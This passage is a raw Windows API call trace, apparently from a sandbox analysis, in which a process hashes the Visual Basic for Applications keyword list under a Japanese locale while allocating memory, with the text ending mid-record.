GetLocalTime (in: lpSystemTime=0xb5690f4da8 | out: lpSystemTime=0xb5690f4da8*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x31, wMilliseconds=0xe5)) [0094.600] _ultow_s (in: _Value=0x612782e9, _Buffer=0x2764b54a1aa, _BufferCount=0x7ff, _Radix=16 | out: _Buffer="612782e9") returned 0x0 [0094.600] wcsncpy_s (in: _Destination=0xb5690f4a70, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.600] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f49a0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.600] wcscpy_s (in: _Destination=0x2764b711298, _SizeInWords=0xe, _Source="*\\Z04612782e9" | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.600] wcsncpy_s (in: _Destination=0xb5690f4ab0, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.600] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f49e0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x84) returned 0x2764afa36f0 [0094.601] wcscpy_s (in: _Destination=0x2764afa3760, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0094.601] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x180) returned 0x2764b549550 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b245e80 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b245f40 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b6691f0 [0094.601] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x80) returned 0x2764afa3f60 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b66cc70 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764b6698b0 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2764ad3a6c0 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b1788b0 [0094.601] GetLocaleInfoA (in: Locale=0x411, LCType=0x1004, lpLCData=0xb5690f471c, cchData=6 | out: lpLCData="932") returned 4 [0094.601] atoi (_Str="932") returned 932 [0094.601] GetLocalTime (in: lpSystemTime=0xb5690f4710 | out: lpSystemTime=0xb5690f4710*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x31, wMilliseconds=0xe5)) [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3030 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2763a17cbc0 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3ff0 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3aab0 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa4aa0 [0094.601] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa4aa0, cb=0x280) returned 0x2764b41ff50 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764aea1ec0 [0094.601] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764aea1fc0 [0094.601] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x27651f50000 [0094.670] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x27651f60000 [0094.672] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x2764b3cb390 [0094.672] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b3cb390) [0094.672] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="0") returned 0x401047 [0094.672] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x276455f8400 [0094.672] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x27651fa0000 [0094.673] VirtualAlloc (lpAddress=0x27651f60000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x27651f60000 [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Abs") returned 0x4072bc [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Access") returned 0x401d98 [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="AddressOf") returned 0x40e252 [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Alias") returned 0x40bf6d [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="And") returned 0x407469 [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Any") returned 0x40747a [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Append") returned 0x408f83 [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Array") returned 0x409183 [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="As") returned 0x405c8d [0094.674] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Assert") returned 0x4096e9 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="B") returned 0x401059 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Base") returned 0x40afa9 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="BF") returned 0x405ca5 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Binary") returned 0x4008a0 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Boolean") returned 0x40978e [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ByRef") returned 0x4074ef [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Byte") returned 0x401a83 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ByVal") returned 0x4089c5 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Call") returned 0x40744b [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Case") returned 0x407547 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CBool") returned 0x404c74 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CByte") returned 0x406d3c [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CCur") returned 0x408050 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDate") returned 0x408dc3 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDec") returned 0x40834a [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDbl") returned 0x4082e4 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CDecl") returned 0x40a0b9 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ChDir") returned 0x40b2fb [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CInt") returned 0x409f65 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Circle") returned 0x403fd1 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CLng") returned 0x40af63 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Close") returned 0x4005ab [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Compare") returned 0x40af82 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Const") returned 0x40517a [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CSng") returned 0x40d4d2 [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CStr") returned 0x40d5bb [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CurDir") returned 0x401bab [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CurDir$") returned 0x40f7cc [0094.675] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CurDir") returned 0x401bab [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CVar") returned 0x40e307 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CVDate") returned 0x40cfd6 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CVErr") returned 0x408902 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Currency") returned 0x40f106 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Database") returned 0x40eec7 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Date") returned 0x403b0a [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Date$") returned 0x4031c7 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Date") returned 0x403b0a [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Debug") returned 0x40eaee [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Decimal") returned 0x4036dd [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Declare") returned 0x404a38 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefBool") returned 0x4091ad [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefByte") returned 0x40b275 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefCur") returned 0x40cc45 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefDate") returned 0x40d2fc [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefDec") returned 0x40cf3f [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefDbl") returned 0x40ced9 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefInt") returned 0x40eb5a [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefLng") returned 0x40fb58 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefObj") returned 0x40096b [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefSng") returned 0x402088 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefStr") returned 0x402171 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefVar") returned 0x402ebd [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dim") returned 0x4083c4 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dir") returned 0x4083c9 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dir$") returned 0x406567 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Dir") returned 0x4083c9 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Do") returned 0x405cf8 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DoEvents") returned 0x409634 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Double") returned 0x400d99 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Each") returned 0x40fe75 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Else") returned 0x403b56 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ElseIf") returned 0x40f307 [0094.676] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Empty") returned 0x40f4f1 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="End") returned 0x4089cd [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="EndIf") returned 0x4078bd [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Enum") returned 0x40465a [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Eqv") returned 0x408a4e [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Erase") returned 0x4080da [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Error") returned 0x40db3c [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Error$") returned 0x40cf60 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Error") returned 0x40db3c [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Event") returned 0x40ac4b [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Exit") returned 0x407a1f [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Explicit") returned 0x40edcb [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="F") returned 0x40105d [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="False") returned 0x402d01 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Fix") returned 0x408e81 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="For") returned 0x408f59 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Format") returned 0x402337 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Format$") returned 0x40efc7 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Format") returned 0x402337 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="FreeFile") returned 0x40483a [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Friend") returned 0x40bd1c [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Function") returned 0x407810 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Get") returned 0x409342 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Global") returned 0x40f88f [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Go") returned 0x405d67 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="GoSub") returned 0x40b425 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="GoTo") returned 0x40d70b [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="If") returned 0x405da8 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Imp") returned 0x409f18 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Implements") returned 0x40a988 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="In") returned 0x405db0 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Input") returned 0x40022a [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Input$") returned 0x407767 [0094.677] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Input") returned 0x40022a [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InputB") returned 0x407785 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InputB$") returned 0x400c59 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InputB") returned 0x407785 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InStr") returned 0x40120e [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="InStrB") returned 0x40c2fb [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Int") returned 0x409f41 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Integer") returned 0x40b48a [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Is") returned 0x405db5 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LBound") returned 0x401e0b [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Left") returned 0x407be5 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Len") returned 0x40adf9 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LenB") returned 0x407cfb [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Let") returned 0x40adff [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Lib") returned 0x40ae81 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Like") returned 0x4091f3 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Line") returned 0x409262 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LINEINPUT") returned 0x4008f1 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Load") returned 0x40b096 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Local") returned 0x40353f [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Lock") returned 0x40b0e7 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Long") returned 0x40b27a [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Loop") returned 0x40b2a8 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="LSet") returned 0x40c69e [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Me") returned 0x405e3b [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid") returned 0x40b3dc [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid$") returned 0x40566d [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mid") returned 0x40b3dc [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MidB") returned 0x40568b [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MidB$") returned 0x402a70 [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MidB") returned 0x40568b [0094.678] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mod") returned 0x40b4ba [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Module") returned 0x401ee1 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Name") returned 0x40f2f0 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="New") returned 0x40b8b3 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Next") returned 0x4009bb [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Not") returned 0x40ba23 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Nothing") returned 0x405f21 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Null") returned 0x405d87 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Object") returned 0x402ec1 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="On") returned 0x405e8e [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Open") returned 0x400767 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Option") returned 0x40f982 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Optional") returned 0x40675a [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Or") returned 0x405e92 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Output") returned 0x40f959 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ParamArray") returned 0x405941 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Preserve") returned 0x40a5fc [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Print") returned 0x40f00d [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Private") returned 0x4073c3 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Property") returned 0x40d2f6 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="PSet") returned 0x40dd55 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Public") returned 0x401287 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Put") returned 0x40c5b3 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="RaiseEvent") returned 0x40274a [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Random") returned 0x40f428 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Randomize") returned 0x40ab02 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Read") returned 0x401d0f [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ReDim") returned 0x40eea8 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Rem") returned 0x40ce0e [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Resume") returned 0x40728b [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Return") returned 0x4038eb [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="RGB") returned 0x40ce4d [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="RSet") returned 0x406891 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Scale") returned 0x40e596 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Seek") returned 0x40e387 [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Select") returned 0x40cabd [0094.679] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Set") returned 0x40d36e [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sgn") returned 0x40d3b2 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Shared") returned 0x40479e [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Single") returned 0x40a99f [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Spc") returned 0x40d4f4 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Static") returned 0x4029c6 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Step") returned 0x403384 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Stop") returned 0x4034f6 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="StrComp") returned 0x40274d [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="String") returned 0x40102a [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="String$") returned 0x40c31c [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="String") returned 0x40102a [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Sub") returned 0x40d5ac [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Tab") returned 0x40d821 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Text") returned 0x40abed [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Then") returned 0x40b933 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="To") returned 0x405f48 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="True") returned 0x40f0f4 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Type") returned 0x400007 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="TypeOf") returned 0x401832 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="UBound") returned 0x40ea71 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Unload") returned 0x404e44 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Unlock") returned 0x404e95 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Unknown") returned 0x40a11d [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Until") returned 0x40ecec [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Variant") returned 0x408738 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Wend") returned 0x4035a7 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="While") returned 0x40a25c [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Width") returned 0x404e68 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="With") returned 0x404bed [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="WithEvents") returned 0x40f2eb [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Write") returned 0x405c2e [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Xor") returned 0x40ef9b [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#Const") returned 0x40f8c9 [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#Else") returned 0x4050dd [0094.680] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#ElseIf") returned 0x40e5b5 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#End") returned 0x40d478 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="#If") returned 0x40d383 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Attribute") returned 0x40ed01 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Base") returned 0x409fb8 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Control") returned 0x40a946 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Creatable") returned 0x401d92 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Customizable") returned 0x40c26d [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Description") returned 0x4009d0 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Exposed") returned 0x4030b3 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Ext_KEY") returned 0x40a88e [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_HelpID") returned 0x403e41 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_Func") returned 0x40c92c [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_Property") returned 0x407f4a [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_PropertyPut") returned 0x406658 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Invoke_PropertyPutRef") returned 0x405b25 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_MemberFlags") returned 0x408db7 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_Name") returned 0x40e2ff [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_PredeclaredId") returned 0x405fc7 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_ProcData") returned 0x407005 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_TemplateDerived") returned 0x409f1e [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarDescription") returned 0x403303 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarHelpID") returned 0x40a3b6 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarMemberFlags") returned 0x40b6ea [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarProcData") returned 0x401b0c [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_UserMemId") returned 0x407b95 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_VarUserMemId") returned 0x404d5f [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VB_GlobalNameSpace") returned 0x40ce77 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName=",") returned 0x401043 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName=".") returned 0x401045 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="\"") returned 0x401039 [0094.681] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="_") returned 0x401076 [0094.682] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="CLngPtr") returned 0x405ab0 [0094.682] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="DefLngPtr") returned 0x4036f2 [0094.682] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="PtrSafe") returned 0x406f4a [0094.682] LHashValOfNameSysA (syskind=0x3, lcid=0x411, 